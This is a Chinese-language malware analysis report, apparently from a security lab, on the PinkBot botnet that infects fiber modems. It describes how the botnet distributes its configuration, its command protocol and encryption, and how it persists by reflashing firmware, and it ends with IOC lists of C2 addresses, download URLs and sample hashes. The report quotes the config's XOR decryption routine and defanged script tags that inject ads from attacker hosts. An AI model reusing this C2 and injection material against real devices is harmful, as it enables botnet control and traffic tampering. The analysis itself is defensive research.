a) 通过第三方服务分发配置信息
1. 通过 BTC+GITHUB 分发配置信息
该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。
其中，模式为P!!<base64>I!!行是配置签名，模式为N!!<base64>K!!行是配置信息的密文。
但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包[1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：
对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 ...!<base64>...? 的字串，比如我们最近找到的一个就是 ...!L215cG9sbzExMS92Zmc=...? 将这个base64 还原，就是隐藏项目的地址了 mypolo111/vfg
再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。
另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：
PS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。
2. 通过 百度tieba 分发配置信息
攻击者在少部分样本中还尝试利用“百度tieba”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。
b) 通过 P2P 方式分发配置信息
1. P2P-Over-UDP123 分发配置信息
Bot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（"114.25.0.0/16"，"36.227.0.0/16"，"59.115.0.0/16"，"1.224.0.0/16"）发起 Peer 探测请求，内容为 1C 00 00 00 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：
* 当目标Bot未取得主控信息时回复 1D 00 00 00；
* 当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。
下图是最近捕获到的UDP-123 传递的配置信息。
2. 通过 P2P-Over-TCP 分发配置信息
Bot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：
交互协议的格式同UDP123上的相同。
c) 通过 CNC 分发配置信息
攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。
PinkBot 指令
指令格式
每条指令至少包含7字节，含义依此如下：
1. Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。
2. 指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。
3. 内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。
4. 指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。
这里附上一张截图供参阅，其中红框标记的就是指令字段：
指令传输方式
a) 通讯加密
上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：
1. 使用的密码学库为：mbedtls;
2. 密钥交换阶段使用的交换算法 ecdh，加载曲线为 MBEDTLS_ECP_DP_CURVE25519;
3. 服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D
4. 报文加密/解密阶段使用的算法为 aes, key 为密钥交换后的secret，加载参数为 MBEDTLS_AES_ENCRYPT 和MBEDTLS_AES_DECRYPT;
5. 在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。
b) 指令内容编码
为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库nanopb 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。
指令功能
PinkBot 指令具有丰富的控制能力：
1. 文件下载
2. 系统命令执行
3. DDoS攻击（HTTP攻击和 UDP 攻击）
4. 扫描功能（扫描的具体内容可以通过指令设置）
5. 汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）
6. 自身更新（将新版本保存到 /tmp/client 后运行）
7. P2P节点列表同步（直接推送一组P2P节点到Bot）
8. http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）
9. 启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）
10. 下载文件并执行
11. 停止攻击
12. 重置watchdog
PinkBot 持久化方式
与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。
下图是被感染后新增/修改的文件列表：
其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。
关键文件说明：
* /bin/protect：md5:9ec5bd857b998e60663e88a70480b828
protect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。
* /bin/tr69c: md5:451a3cf94191c64b5cd1be1a80be7799
tc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。
PinkBot 规模评估与指令跟踪
规模评估
前面提到，每个受感染的 PinkBot 都会通过 udp 123 端口以 p2p 方式来分发配置信息。利用这个特性，我们在全网范围内对 PinkBot 的感染量进行了持续评估（评估数据统计那堆表要不要列一波？）。
指令跟踪
我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。
除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：
<script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
番外：与 PinkBot 对抗的那些事儿
在对 PinkBot 僵尸网络分析跟踪的过程中。我们注意到，攻击者和相关厂商进行了多次的攻防对抗。
这一章节将简单梳理下我们了解到的与 PinkBot 攻防对抗的尝试。
设备厂商的对抗（此章节涉及到厂商利益，慎重公开）
根据一个涉事厂商（四川天邑）提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。
第一次对抗: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。
第二次对抗：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。
第三次对抗：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。
最后的方案：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。
复盘总结：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。
GITHUB 封相关账号
我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。
目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。
复盘总结：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。Nice try.
IOC
C&C地址
通过长期跟踪，攻击者使用过的CNC地址有：
cnc.pinklander[.]com
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
PS: 其中 cnc.pinklander.com 在2019年12月28日，已经被我们的DNSMon系统自动识别并加黑处理了。
同步服务
PinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。
在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的配置信息中。
http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
https[:]//fse7.oss-cn-shanghai.aliyuncs.com/dlist.txt
https[:]//fys6y.oss-cn-shanghai.aliyuncs.com/dlist.txt
https[:]//gitee.com/b9g/zt/raw/master/dlist.txt
https[:]//gitee.com/bg64/gy/raw/master/dlist.txt
https[:]//gitee.com/bg64/xt/raw/master/dlist.txt
https[:]//gitee.com/d3fg/su/raw/master/dlist.txt
https[:]//gitee.com/fe354/xx/raw/master/dlist.txt
https[:]//gitee.com/fh8y/i9/raw/master/dlist.txt
https[:]//gitee.com/g6y/qu/raw/master/dlist.txt
https[:]//gitee.com/g7u/hi/raw/master/dlist.txt
https[:]//gitee.com/gb7e/sh/raw/master/dlist.txt
https[:]//gitee.com/ggf2/zt/raw/master/dlist.txt
https[:]//gitee.com/ji9/zg/raw/master/dlist.txt
https[:]//gitee.com/johncase/zip/raw/master/dlist.txt
https[:]//gitee.com/k9o/st/raw/master/dlist.txt
https[:]//gitee.com/k9o/u8/raw/master/dlist.txt
https[:]//gitee.com/mh8i/zt/raw/master/dlist.txt
https[:]//gitee.com/nick908/hello/raw/master/dlist.txt
https[:]//gitee.com/nick908/sc/raw/master/dlist.txt
https[:]//gitee.com/s7y/xx/raw/master/dlist.txt
https[:]//gitee.com/t9i/y7/raw/master/dlist.txt
https[:]//gitee.com/u8i/fo/raw/master/dlist.txt
https[:]//gitee.com/ujh5/ho/raw/master/dlist.txt
https[:]//gitee.com/vd5/y8/raw/master/dlist.txt
https[:]//gitee.com/vd5/y9/raw/master/dlist.txt
https[:]//gitee.com/vr6/sh/raw/master/dlist.txt
https[:]//gitee.com/y7u/bh/raw/master/dlist.txt
https[:]//gitee.com/y7u/eg/raw/master/dlist.txt
https[:]//gitee.com/y7u/lp/raw/master/dlist.txt
https[:]//gitee.com/y7u/rt/raw/master/dlist.txt
https[:]//gitee.com/y7u/xc/raw/master/dlist.txt
https[:]//hj9o.oss-cn-hangzhou.aliyuncs.com/dlist.txt
https[:]//hjis.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//kol5.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//n609.coding.net/p/t/d/t/git/raw/master/dlist.txt
https[:]//okp9.oss-cn-beijing.aliyuncs.com/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
MD5
通过跟踪获取到的相关样本（ELF）汇总如下：
9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 概述\n2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。\n\nPinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，已知总感染量超过160万，其中 96% 位于中国。\n\nPinkBot 具有很强的技术能力：\n\n1. PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用； \n2. PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；\n3. 在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。\n\n可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。\n\n# 规模及影响范围\n我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：\n1.\t2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;\n2.\t2020-01-02从CNCERT拿到的统计结果：\n```“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。对这些IP地址的定位数据进行统计发现，IP主要为联通的家庭宽带用户地址。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”```\n3. 根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。\n\n在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。受影响的运营商主要涉及中国联通（>80%）和中国电信（>15%）。\n\n目前已确认有三款设备受到影响：TEWA-800E，KD-YUN-811E 和 ipTIME-N904NS。\n\n# PinkBot 技术架构\nPinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。\n\n## 配置信息\n\n对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：\n\n```\n{\n \"verify\": \"1585065675\",\n \"cncip1\": \"144.202.109.110\",\n \"cncport1\": \"32876\",\n \"dlc\": \"5b62596bc1453d51cc7241086464f294\",\n \"dl\": \"http【:】//155.138.140.245/dlist.txt\",\n \"dlc1\": \"484417e6f65c8e18e684d60c03c4680a\",\n \"dl1\": \"https【:】//gitee.com/johncase/zip/raw/master/dlist.txt\",\n \"sd0\": \"1.1.1.1\",\n \"sdp0\": \"443\",\n \"srvk\": \"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=\",\n \"pxy\": \"1\"\n}\n```\n\n1. 其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。\n2. 随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。\n3. 再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。\n4. “sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。\n5. srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。\n6. pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。\n\n### 配置信息的保护\n通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。\n为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：\n\n```\ndef easydecrpyt(message):\n res = \"\"\n for cursor in range(0, len(message)):\n mbt = ord(message[cursor])\n res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))\n return res\n```\n\n信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：\n\n1. 签名校验使用的密码库为 mbedtls；\n2. 签名算法为 ECDSA；\n3. 签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；\n4. 验签所用公钥为： `04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E`\n\n\n### 配置信息的分发\n\n除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。\n\n#### a) 通过第三方服务分发配置信息\n\n1. 通过 BTC+GITHUB 分发配置信息\n\n该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。\n\n\n\n其中，模式为`P!!<base64>I!!`行是配置签名，模式为`N!!<base64>K!!`行是配置信息的密文。\n\n但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包\\[`1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF`\\] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：\n\n\n\n对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 `...!<base64>...?` 的字串，比如我们最近找到的一个就是 `...!L215cG9sbzExMS92Zmc=...?` 将这个base64 还原，就是隐藏项目的地址了 `mypolo111/vfg`\n\n\n再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。\n\n另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：\n\n\n\n\nPS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。\n\n2. 通过 百度tieba 分发配置信息\n\n攻击者在少部分样本中还尝试利用“百度tieba”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。\n\n\n#### b) 通过 P2P 方式分发配置信息\n1. P2P-Over-UDP123 分发配置信息\n\nBot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（\"114.25.0.0/16\"，\"36.227.0.0/16\"，\"59.115.0.0/16\"，\"1.224.0.0/16\"）发起 Peer 探测请求，内容为 `1C 00 00 00` 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：\n\n - 当目标Bot未取得主控信息时回复 `1D 00 00 00`；\n - 当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。\n\n下图是最近捕获到的UDP-123 传递的配置信息。\n\n\n\n2. 通过 P2P-Over-TCP 分发配置信息\n\nBot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：\n\n\n\n交互协议的格式同UDP123上的相同。\n\n#### c) 通过 CNC 分发配置信息\n\n攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。\n\n\n## PinkBot 指令\n\n### 指令格式\n\n每条指令至少包含7字节，含义依此如下：\n\n1. Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。\n2. 指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。\n3. 内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。\n4. 指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。\n\n这里附上一张截图供参阅，其中红框标记的就是指令字段：\n\n\n\n### 指令传输方式\n#### a) 通讯加密\n\n上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：\n\n1. 使用的密码学库为：`mbedtls`;\n2. 密钥交换阶段使用的交换算法 `ecdh`，加载曲线为 `MBEDTLS_ECP_DP_CURVE25519`;\n3. 服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：`14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D`\n4. 报文加密/解密阶段使用的算法为 `aes`, key 为密钥交换后的secret，加载参数为 `MBEDTLS_AES_ENCRYPT` 和`MBEDTLS_AES_DECRYPT`;\n5. 在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。\n\n#### b) 指令内容编码\n\n为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库[nanopb](https://github.com/nanopb/nanopb) 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。\n\n### 指令功能\nPinkBot 指令具有丰富的控制能力：\n\n> 1. 文件下载\n> 2. 系统命令执行\n> 3. DDoS攻击（HTTP攻击和 UDP 攻击）\n> 4. 扫描功能（扫描的具体内容可以通过指令设置）\n> 5. 汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）\n> 6. 自身更新（将新版本保存到 /tmp/client 后运行）\n> 7. P2P节点列表同步（直接推送一组P2P节点到Bot）\n> 8. http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）\n> 9. 启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）\n> 10. 下载文件并执行\n> 11. 停止攻击\n> 12. 重置watchdog \n\n\n## PinkBot 持久化方式\n与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。\n\n下图是被感染后新增/修改的文件列表：\n\n\n\n其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。\n\n关键文件说明：\n - /bin/protect：`md5:9ec5bd857b998e60663e88a70480b828`\n\nprotect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。\n\n - /bin/tr69c: `md5:451a3cf94191c64b5cd1be1a80be7799`\n\ntc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。\n\n\n# PinkBot 规模评估与指令跟踪\n## 规模评估\n前面提到，每个受感染的 PinkBot 都会通过 udp 123 端口以 p2p 方式来分发配置信息。利用这个特性，我们在全网范围内对 PinkBot 的感染量进行了持续评估（评估数据统计那堆表要不要列一波？）。\n\n## 指令跟踪\n\n我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。\n除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：\n\n```\n<script async src=\"http【:】//45.32.21.251/j/?$$\"></script>\n<script async src=\"http【:】//167.179.80.159/j/?$$\"></script>\n<script async src=“http【:】//114.55.124.13/j/?$$“></script>\n```\n\n# 番外：与 PinkBot 对抗的那些事儿\n\n在对 PinkBot 僵尸网络分析跟踪的过程中。我们注意到，攻击者和相关厂商进行了多次的攻防对抗。\n这一章节将简单梳理下我们了解到的与 PinkBot 攻防对抗的尝试。\n\n## 